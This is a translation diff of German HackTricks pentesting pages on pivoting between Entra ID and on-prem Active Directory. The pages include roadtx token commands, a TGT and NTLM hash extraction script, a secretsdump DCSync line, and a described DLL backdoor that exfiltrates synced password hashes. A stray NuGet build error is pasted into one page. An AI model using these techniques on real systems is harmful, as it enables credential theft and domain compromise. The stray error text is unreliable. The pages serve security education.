Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Grundinformationen
 
 Dieser Abschnitt behandelt die Pivoting-Techniken, um von einem kompromittierten Entra ID-Mandanten in das lokale Active Directory (AD) oder von einem kompromittierten AD zum Entra ID-Mandanten zu wechseln.
 
@@ -10,7 +10,7 @@ Dieser Abschnitt behandelt die Pivoting-Techniken, um von einem kompromittierten
 
 - [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Wenn ein Angreifer ein AD-Computer-Konto kontrollieren oder erstellen und auf den Azure Arc GPO-Bereitstellungsfreigabe zugreifen kann, kann er das gespeicherte Service Principal-Geheimnis entschlüsseln und es verwenden, um sich als der zugehörige Service Principal bei Azure zu authentifizieren, wodurch die verknüpfte Azure-Umgebung vollständig kompromittiert wird.
 
-- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Wie man von Entra ID zu AD wechselt, wenn Cloud Kerberos Trust konfiguriert ist. Ein Global Admin in Entra ID (Azure AD) kann Cloud Kerberos Trust und die Sync-API missbrauchen, um hochprivilegierte AD-Konten zu impersonieren, deren Kerberos-Tickets oder NTLM-Hashes zu erhalten und das lokale Active Directory vollständig zu kompromittieren – selbst wenn diese Konten nie cloud-synchronisiert wurden – was effektiv eine Brücke für die Privilegieneskalation von Cloud zu AD bildet.
+- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Wie man von Entra ID zu AD wechselt, wenn Cloud Kerberos Trust konfiguriert ist. Ein Global Admin in Entra ID (Azure AD) kann Cloud Kerberos Trust und die Sync-API missbrauchen, um hochprivilegierte AD-Konten zu impersonifizieren, deren Kerberos-Tickets oder NTLM-Hashes zu erhalten und das lokale Active Directory vollständig zu kompromittieren – selbst wenn diese Konten nie cloud-synchronisiert wurden – was effektiv eine Brücke für die Privilegieneskalation von Cloud zu AD bildet.
 
 - [**Cloud Sync**](az-cloud-sync.md): Wie man Cloud Sync missbraucht, um von der Cloud zum lokalen AD und umgekehrt zu wechseln.
 
@@ -28,12 +28,12 @@ Dieser Abschnitt behandelt die Pivoting-Techniken, um von einem kompromittierten
 
 - [**Pass the Cookie**](az-pass-the-cookie.md): Azure-Cookies aus dem Browser stehlen und sie zur Anmeldung verwenden.
 
-- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Was ist das PRT, wie man es stiehlt und es verwendet, um auf Azure-Ressourcen zuzugreifen, indem man den Benutzer impersoniert.
+- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Was ist das PRT, wie man es stiehlt und es verwendet, um auf Azure-Ressourcen zuzugreifen, indem man den Benutzer impersonifiziert.
 
 - [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Wie man Pass-through Authentication missbraucht, um von der Cloud zum lokalen AD und umgekehrt zu wechseln.
 
 - [**Seamless SSO**](az-seamless-sso.md): Wie man Seamless SSO missbraucht, um von lokal zur Cloud zu wechseln.
 
-- **Ein weiterer Weg, um von der Cloud zu On-Prem zu pivotieren, ist** [**Intune zu missbrauchen**](../az-services/intune.md)
+- **Eine weitere Möglichkeit, von der Cloud zu On-Prem zu pivotieren, ist** [**Intune zu missbrauchen**](../az-services/intune.md)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md

@@ -11,9 +11,9 @@ Beim Ausführen des DeployGPO.ps1-Skripts werden die folgenden Aktionen ausgefü
 1. Erstellt die Azure Arc Servers Onboarding GPO innerhalb der lokalen Domäne.
 2. Kopiert das EnableAzureArc.ps1 Onboarding-Skript in den vorgesehenen Netzwerkfreigabe, die für den Onboarding-Prozess erstellt wurde und auch das Windows-Installationspaket enthält.
 
-Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter erforderlich, wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden.
+Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden.
 
-Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Domain Controllers und Domain Computers Sicherheitsgruppen entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt.
+Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controllers und Domain Computers entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt.
 ```bash
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -54,7 +54,7 @@ $ebs
 ```
 Alternativ können wir [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) verwenden.
 
-An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als kompromittierter Dienstprinzipal zu authentifizieren.
+An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als der kompromittierte Dienstprinzipal zu authentifizieren.
 
 ## References
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md

@@ -1,8 +1,8 @@
 # Az - Cloud Kerberos Trust
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
-**Dieser Beitrag ist eine Zusammenfassung von** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **die für weitere Informationen über den Angriff konsultiert werden kann. Diese Technik wird auch in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** kommentiert.**
+**Dieser Beitrag ist eine Zusammenfassung von** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **, die für weitere Informationen über den Angriff konsultiert werden kann. Diese Technik wird auch in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** kommentiert.**
 
 ## Kerberos-Vertrauensbeziehung Übersicht
 
@@ -20,11 +20,11 @@
 
 -   Mindestens ein **hybrides Benutzerkonto** (existiert sowohl im AD als auch im AAD), bei dem sich der Angreifer authentifizieren kann. Dies könnte durch Kenntnis oder Zurücksetzen der Anmeldeinformationen oder durch Zuweisen einer passwortlosen Methode (z. B. eines Temporary Access Pass) zur Generierung eines Primary Refresh Token (PRT) für dieses Konto erlangt werden.
 
--   Ein **on-prem AD-Zielkonto** mit hohen Rechten, das *nicht* in der Standard-RODC "verweigern" Richtlinie enthalten ist. In der Praxis ist ein großartiges Ziel das **AD Connect Synchronisationskonto** (oft benannt als **MSOL_***), das DCSync (Replikations-)Rechte im AD hat, jedoch normalerweise kein Mitglied der integrierten Administrationsgruppen ist. Dieses Konto wird typischerweise nicht mit Entra ID synchronisiert, wodurch seine SID ohne Konflikt zur Identitätsübernahme verfügbar ist.
+-   Ein **lokales AD-Zielkonto** mit hohen Rechten, das *nicht* in der Standard-RODC-"verweigern"-Richtlinie enthalten ist. In der Praxis ist ein hervorragendes Ziel das **AD Connect-Synchronisationskonto** (oft als **MSOL_*** benannt), das DCSync (Replikations-)Rechte im AD hat, jedoch normalerweise kein Mitglied der integrierten Administrationsgruppen ist. Dieses Konto wird typischerweise nicht mit Entra ID synchronisiert, wodurch seine SID ohne Konflikt zur Identitätsübernahme verfügbar ist.
 
 **Angriffsschritte:**
 
-1.  **Zugriff auf Azure AD Synchronisations-API erhalten:** Verwenden Sie das Global Admin-Konto, um ein Zugriffstoken für die Azure AD **Provisioning (sync) API** zu erwerben. Dies kann mit Tools wie **ROADtools** oder **AADInternals** erfolgen. Zum Beispiel mit ROADtools (roadtx):
+1.  **Zugriff auf die Azure AD-Synchronisations-API erhalten:** Verwenden Sie das Global Admin-Konto, um ein Zugriffstoken für die Azure AD **Provisioning (sync) API** zu erwerben. Dies kann mit Tools wie **ROADtools** oder **AADInternals** erfolgen. Zum Beispiel mit ROADtools (roadtx):
 ```bash
 # Using roadtx to get an Azure AD Graph token (no MFA)
 roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
@@ -46,14 +46,14 @@ roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
 ```
 Dies gibt eine `.prt`-Datei aus, die das partielle TGT und den Sitzungsschlüssel enthält. Wenn das Konto ein cloud-only Passwort war, enthält Azure AD dennoch ein TGT_AD in der PRT-Antwort.
 
-4.  **Austausch des partiellen TGT gegen vollständiges TGT (in AD):** Das partielle TGT kann nun dem lokalen Domänencontroller präsentiert werden, um ein **vollständiges TGT** für das Zielkonto zu erhalten. Dies geschieht durch die Durchführung einer TGS-Anfrage für den `krbtgt`-Dienst (den primären TGT-Dienst der Domäne) -- im Wesentlichen wird das Ticket auf ein normales TGT mit einem vollständigen PAC aktualisiert. Tools sind verfügbar, um diesen Austausch zu automatisieren. Zum Beispiel mit dem Skript von ROADtools Hybrid:
+4.  **Exchange Partial TGT for Full TGT (on AD):** Das partielle TGT kann nun dem lokalen Domain Controller präsentiert werden, um ein **vollständiges TGT** für das Zielkonto zu erhalten. Wir tun dies, indem wir eine TGS-Anfrage für den `krbtgt`-Dienst (den primären TGT-Dienst der Domäne) durchführen – im Wesentlichen wird das Ticket auf ein normales TGT mit einem vollständigen PAC aktualisiert. Tools sind verfügbar, um diesen Austausch zu automatisieren. Zum Beispiel mit dem Skript von ROADtools Hybrid:
 ```bash
 # Use the partial TGT from the PRT file to get a full TGT and NTLM hash
 python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
 ```
-Dieses Skript (oder Impacket-Äquivalente) wird den Domain Controller kontaktieren und ein gültiges TGT für das Ziel-AD-Konto abrufen, einschließlich des NTLM-Hashes des Kontos, wenn die spezielle Kerberos-Erweiterung verwendet wird. Die **`KERB-KEY-LIST-REQ`**-Erweiterung wird automatisch hinzugefügt, um den DC zu bitten, den NTLM-Hash des Zielkontos in der verschlüsselten Antwort zurückzugeben. Das Ergebnis ist ein Anmeldeinformationen-Cache (`full_tgt.ccache`) für das Zielkonto *oder* den wiederhergestellten NTLM-Passwort-Hash.
+Dieses Skript (oder Impacket-Äquivalente) wird den Domänencontroller kontaktieren und ein gültiges TGT für das Ziel-AD-Konto abrufen, einschließlich des NTLM-Hashes des Kontos, wenn die spezielle Kerberos-Erweiterung verwendet wird. Die **`KERB-KEY-LIST-REQ`**-Erweiterung wird automatisch hinzugefügt, um den DC zu bitten, den NTLM-Hash des Zielkontos in der verschlüsselten Antwort zurückzugeben. Das Ergebnis ist ein Anmeldeinformationen-Cache (`full_tgt.ccache`) für das Zielkonto *oder* den wiederhergestellten NTLM-Passwort-Hash.
 
-5.  **Ziel impersonieren und zu Domain Admin erhöhen:** Jetzt kontrolliert der Angreifer effektiv **das Ziel-AD-Konto**. Wenn das Ziel beispielsweise das AD Connect **MSOL-Konto** war, hat es Replikationsrechte im Verzeichnis. Der Angreifer kann einen **DCSync**-Angriff unter Verwendung der Anmeldeinformationen dieses Kontos oder des Kerberos-TGT durchführen, um Passwort-Hashes aus AD zu dumpen (einschließlich des Domain KRBTGT-Kontos). Zum Beispiel:
+5.  **Ziel impersonieren und zu Domain Admin erhöhen:** Jetzt kontrolliert der Angreifer effektiv **das Ziel-AD-Konto**. Wenn das Ziel beispielsweise das AD Connect **MSOL-Konto** war, hat es Replikationsrechte im Verzeichnis. Der Angreifer kann einen **DCSync**-Angriff unter Verwendung der Anmeldeinformationen dieses Kontos oder des Kerberos-TGT durchführen, um Passwort-Hashes aus AD zu dumpen (einschließlich des Domänen-KRBTGT-Kontos). Zum Beispiel:
 ```bash
 # Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
 secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
@@ -72,4 +72,4 @@ Dies dumpft alle AD-Benutzerpassworthashes und gibt dem Angreifer den KRBTGT-Has
 
 
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md

@@ -1,6 +1,6 @@
 # Az - Cloud Sync
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Grundinformationen
 
@@ -19,13 +19,13 @@ Damit dies funktioniert, werden einige Prinzipale sowohl in Entra ID als auch im
 
 - In Entra ID wird auch die Gruppe **`AAD DC Administrators`** ohne Mitglieder oder Eigentümer erstellt. Diese Gruppe ist nützlich, wenn [`Microsoft Entra Domain Services`](./az-domain-services.md) verwendet wird.
 
-- Im AD wird entweder das Dienstkonto **`provAgentgMSA`** mit einem SamAccountName wie **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`) erstellt oder ein benutzerdefiniertes mit [**diesen Berechtigungen benötigt**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). In der Regel wird das Standardkonto erstellt.
+- Im AD wird entweder das Dienstkonto **`provAgentgMSA`** mit einem SamAccountName wie **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`) erstellt, oder ein benutzerdefiniertes mit [**diesen Berechtigungen ist erforderlich**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). In der Regel wird das Standardkonto erstellt.
 
 > [!WARNING]
 > Unter anderen Berechtigungen hat das Dienstkonto **`provAgentgMSA`** DCSync-Berechtigungen, die **es jedem, der es kompromittiert, ermöglichen, das gesamte Verzeichnis zu kompromittieren**. Für weitere Informationen über [DCSync überprüfen Sie dies](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
 
 > [!NOTE]
-> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut **`adminCount` auf 1 nicht mit Entra ID synchronisiert** aus Sicherheitsgründen. Andere Benutzer, die jedoch Teil von privilegierten Gruppen ohne dieses Attribut sind oder die direkt hohe Privilegien zugewiesen bekommen, **können synchronisiert werden**.
+> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut **`adminCount` auf 1 nicht mit Entra ID synchronisiert**, aus Sicherheitsgründen. Andere Benutzer, die jedoch Teil privilegierter Gruppen ohne dieses Attribut sind oder direkt hohe Privilegien zugewiesen bekommen, **können synchronisiert werden**.
 
 ## Passwortsynchronisierung
 
@@ -35,9 +35,9 @@ Der Abschnitt ist sehr ähnlich zu dem aus:
 az-connect-sync.md
 {{#endref}}
 
-- **Passwort-Hash-Synchronisierung** kann aktiviert werden, sodass Benutzer sich **mit ihren Passwörtern aus AD in Entra ID anmelden können**. Darüber hinaus wird jedes Mal, wenn ein Passwort in AD geändert wird, es in Entra ID aktualisiert.
-- **Passwort-Rückschreibung** kann ebenfalls aktiviert werden, sodass Benutzer ihr Passwort in Entra ID ändern können, was automatisch ihr Passwort im lokalen Domänen synchronisiert. Laut den [aktuellen Dokumenten](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) ist dafür der Connect-Agent erforderlich, also werfen Sie einen Blick auf den [Az Connect Sync-Bereich](./az-connect-sync.md) für weitere Informationen.
-- **Gruppen-Rückschreibung**: Diese Funktion ermöglicht es, dass Gruppenmitgliedschaften von Entra ID zurück in das lokale AD synchronisiert werden. Das bedeutet, dass, wenn ein Benutzer einer Gruppe in Entra ID hinzugefügt wird, er auch der entsprechenden Gruppe in AD hinzugefügt wird.
+- **Passwort-Hash-Synchronisierung** kann aktiviert werden, sodass Benutzer sich mit ihren Passwörtern aus AD in Entra ID **einloggen können**. Darüber hinaus wird jedes Mal, wenn ein Passwort in AD geändert wird, es in Entra ID aktualisiert.
+- **Passwort-Rückschreibung** kann ebenfalls aktiviert werden, sodass Benutzer ihr Passwort in Entra ID ändern können, wobei ihr Passwort automatisch im On-Premise-Domain synchronisiert wird. Laut den [aktuellen Dokumenten](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) ist dafür der Connect-Agent erforderlich, also werfen Sie einen Blick auf den [Az Connect Sync-Bereich](./az-connect-sync.md) für weitere Informationen.
+- **Gruppen-Rückschreibung**: Diese Funktion ermöglicht es, Gruppenmitgliedschaften von Entra ID zurück in das On-Premise-AD zu synchronisieren. Das bedeutet, dass, wenn ein Benutzer einer Gruppe in Entra ID hinzugefügt wird, er auch der entsprechenden Gruppe im AD hinzugefügt wird.
 
 ## Pivoting
 
@@ -46,9 +46,9 @@ az-connect-sync.md
 - Wenn die AD-Benutzer von AD nach Entra ID synchronisiert werden, ist das Pivoting von AD zu Entra ID unkompliziert, einfach **das Passwort eines Benutzers kompromittieren oder das Passwort eines Benutzers ändern oder einen neuen Benutzer erstellen und warten, bis er in das Entra ID-Verzeichnis synchronisiert wird (in der Regel nur ein paar Minuten)**.
 
 Sie könnten zum Beispiel
-- Das **`provAgentgMSA`**-Konto kompromittieren, einen DCSync-Angriff durchführen, das Passwort eines Benutzers knacken und es dann verwenden, um sich in Entra ID anzumelden.
-- Einfach einen neuen Benutzer im AD erstellen, warten, bis er in Entra ID synchronisiert wird, und ihn dann verwenden, um sich in Entra ID anzumelden.
-- Das Passwort eines Benutzers im AD ändern, warten, bis es in Entra ID synchronisiert wird, und es dann verwenden, um sich in Entra ID anzumelden.
+- Das **`provAgentgMSA`**-Konto kompromittieren, einen DCSync-Angriff durchführen, das Passwort eines Benutzers knacken und es dann verwenden, um sich in Entra ID einzuloggen.
+- Einfach einen neuen Benutzer im AD erstellen, warten, bis er in Entra ID synchronisiert wird, und ihn dann verwenden, um sich in Entra ID einzuloggen.
+- Das Passwort eines Benutzers im AD ändern, warten, bis es in Entra ID synchronisiert wird, und es dann verwenden, um sich in Entra ID einzuloggen.
 
 Um die **`provAgentgMSA`**-Anmeldeinformationen zu kompromittieren:
 ```powershell
@@ -81,13 +81,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
 {{#endref}}
 
 > [!NOTE]
-> Beachten Sie, dass es keine Möglichkeit gibt, Azure- oder EntraID-Rollen an synchronisierte Benutzer basierend auf ihren Attributen, zum Beispiel in den Cloud Sync-Konfigurationen, zu vergeben. Um jedoch automatisch Berechtigungen an synchronisierte Benutzer zu gewähren, könnten einige **Entra ID-Gruppen aus AD** Berechtigungen erhalten, sodass die synchronisierten Benutzer innerhalb dieser Gruppen ebenfalls diese erhalten, oder **dynamische Gruppen könnten verwendet werden**, also überprüfen Sie immer die dynamischen Regeln und potenzielle Möglichkeiten, sie auszunutzen:
+> Beachten Sie, dass es keine Möglichkeit gibt, Azure- oder EntraID-Rollen an synchronisierte Benutzer basierend auf ihren Attributen, zum Beispiel in den Cloud Sync-Konfigurationen, zu vergeben. Um jedoch automatisch Berechtigungen an synchronisierte Benutzer zu gewähren, könnten einige **Entra ID-Gruppen aus AD** Berechtigungen erhalten, sodass die synchronisierten Benutzer innerhalb dieser Gruppen diese ebenfalls erhalten, oder **dynamische Gruppen könnten verwendet werden**, also überprüfen Sie immer die dynamischen Regeln und potenzielle Möglichkeiten, sie auszunutzen:
 
 {{#ref}}
 ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
 {{#endref}}
 
-Bezüglich der Persistenz schlägt [dieser Blogbeitrag](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) vor, dass es möglich ist, [**dnSpy**](https://github.com/dnSpy/dnSpy) zu verwenden, um die DLL **`Microsoft.Online.Passwordsynchronisation.dll`** zu backdooren, die sich in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** befindet und vom Cloud Sync-Agenten verwendet wird, um die Passwortsynchronisierung durchzuführen, sodass sie die Passwort-Hashes der Benutzer, die synchronisiert werden, an einen Remote-Server exfiltriert. Die Hashes werden innerhalb der Klasse **`PasswordHashGenerator`** generiert, und der Blogbeitrag schlägt vor, etwas Code hinzuzufügen, sodass die Klasse wie folgt aussieht (beachten Sie die Verwendung von `use System.Net` und `WebClient`, um die Passwort-Hashes exfiltrieren):
+Bezüglich der Persistenz schlägt [dieser Blogbeitrag](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) vor, dass es möglich ist, [**dnSpy**](https://github.com/dnSpy/dnSpy) zu verwenden, um die DLL **`Microsoft.Online.Passwordsynchronisation.dll`** zu backdooren, die sich in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** befindet und vom Cloud Sync-Agenten verwendet wird, um die Passwortsynchronisierung durchzuführen, sodass sie die Passwort-Hashes der synchronisierten Benutzer an einen Remote-Server exfiltriert. Die Hashes werden innerhalb der Klasse **`PasswordHashGenerator`** generiert, und der Blogbeitrag schlägt vor, etwas Code hinzuzufügen, sodass die Klasse wie folgt aussieht (beachten Sie die Verwendung von `use System.Net` und `WebClient`, um die Passwort-Hashes zu exfiltrieren):
 ```csharp
 using System;
 using System.Net;
@@ -123,16 +123,16 @@ RawHash = passwordHashData.RawHash
 ```
 NuGet-Paketwiederherstellung für das Projekt AzTokenFinder fehlgeschlagen: Version '4.3.2' des Pakets 'System.Security.Cryptography.X509Certificates' konnte nicht gefunden werden.  
 C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Paket 'System.Security.Cryptography.X509Certificates.4.3.2' wurde in der Quelle 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' nicht gefunden.  
-Bitte sehen Sie sich das Fenster Fehlerliste für detaillierte Warnungen und Fehler an.
+Bitte sehen Sie sich das Fehlerlistenfenster für detaillierte Warnungen und Fehler an.
 
 ### Entra ID --> AD
 
-- Wenn **Password Writeback** aktiviert ist, könnten Sie das Passwort einiger Benutzer aus Entra ID ändern und, wenn Sie Zugriff auf das AD-Netzwerk haben, sich mit diesen anmelden. Weitere Informationen finden Sie im Abschnitt [Az Connect Sync](./az-connect-sync.md), da die Passwortwiederherstellung über diesen Agenten konfiguriert wird.
+- Wenn **Password Writeback** aktiviert ist, können Sie das Passwort einiger Benutzer aus Entra ID ändern und sich mit diesen im AD-Netzwerk verbinden, wenn Sie Zugriff darauf haben. Weitere Informationen finden Sie im Abschnitt [Az Connect Sync](./az-connect-sync.md), da die Passwortwiederherstellung mit diesem Agenten konfiguriert wird.
 
-- Zu diesem Zeitpunkt ermöglicht Cloud Sync auch **"Microsoft Entra ID zu AD"**, aber nach längerer Zeit stellte ich fest, dass es EntraID-Benutzer NICHT mit AD synchronisieren kann und dass es nur Benutzer aus EntraID synchronisieren kann, die mit dem Passwort-Hash synchronisiert wurden und aus einer Domäne stammen, die zum gleichen Domänenforest gehört wie die Domäne, mit der wir synchronisieren, wie Sie in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) lesen können:
+- Zu diesem Zeitpunkt ermöglicht Cloud Sync auch **"Microsoft Entra ID zu AD"**, aber nach zu viel Zeit habe ich festgestellt, dass es EntraID-Benutzer NICHT mit AD synchronisieren kann und dass es nur Benutzer aus EntraID synchronisieren kann, die mit dem Passwort-Hash synchronisiert wurden und aus einer Domäne stammen, die zum gleichen Domänenforest gehört wie die Domäne, mit der wir synchronisieren, wie Sie in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) lesen können:
 
 > - Diese Gruppen können nur lokal synchronisierte Benutzer und/oder zusätzlich in der Cloud erstellte Sicherheitsgruppen enthalten.  
-> - Die lokal synchronisierten Benutzerkonten, die Mitglieder dieser in der Cloud erstellten Sicherheitsgruppe sind, können aus derselben Domäne oder domänenübergreifend stammen, müssen jedoch alle aus demselben Forest stammen.
+> - Die lokal synchronisierten Benutzerkonten, die Mitglieder dieser in der Cloud erstellten Sicherheitsgruppe sind, können aus derselben Domäne oder aus verschiedenen Domänen stammen, müssen jedoch alle aus demselben Forest stammen.
 
 Die Angriffsfläche (und Nützlichkeit) dieses Dienstes ist also erheblich reduziert, da ein Angreifer das ursprüngliche AD, von dem die Benutzer synchronisiert werden, kompromittieren müsste, um einen Benutzer in der anderen Domäne zu kompromittieren (und beide müssen anscheinend im selben Forest sein).
 
@@ -148,4 +148,4 @@ az rest \
 --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
 --headers "Content-Type=application/json"
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md

@@ -1,10 +1,10 @@
 # Az - Connect Sync
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Grundinformationen
 
-[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect Synchronisierungsdienste (Microsoft Entra Connect Sync) sind ein Hauptbestandteil von Microsoft Entra Connect. Es kümmert sich um alle Operationen, die mit der Synchronisierung von Identitätsdaten zwischen Ihrer lokalen Umgebung und Microsoft Entra ID verbunden sind.
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect Synchronisierungsdienste (Microsoft Entra Connect Sync) sind ein Hauptbestandteil von Microsoft Entra Connect. Es kümmert sich um alle Vorgänge, die mit der Synchronisierung von Identitätsdaten zwischen Ihrer lokalen Umgebung und Microsoft Entra ID verbunden sind.
 
 Um es zu verwenden, muss der **`Microsoft Entra Connect Sync`** Agent auf einem Server in Ihrer AD-Umgebung installiert werden. Dieser Agent wird sich um die Synchronisierung von der AD-Seite kümmern.
 
@@ -21,7 +21,7 @@ az-cloud-sync.md
 - Das Konto **`MSOL_<installationID>`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine Rolle für **Directory Synchronization Accounts** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat.
 - Das bedeutet, dass jeder, der dieses Konto kompromittiert, in der Lage sein wird, die lokale Domäne zu kompromittieren.
 - Ein verwaltetes Dienstkonto **`ADSyncMSA<id>`** wird im lokalen AD ohne besondere Standardberechtigungen erstellt.
-- In Entra ID wird das Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** mit einem Zertifikat erstellt.
+- In Entra ID wird der Dienstprinzipal **`ConnectSyncProvisioning_ConnectSync_<id>`** mit einem Zertifikat erstellt.
 
 ## Passwörter synchronisieren
 
@@ -31,9 +31,9 @@ Diese Komponente kann auch verwendet werden, um **Passwörter von AD in Entra ID
 
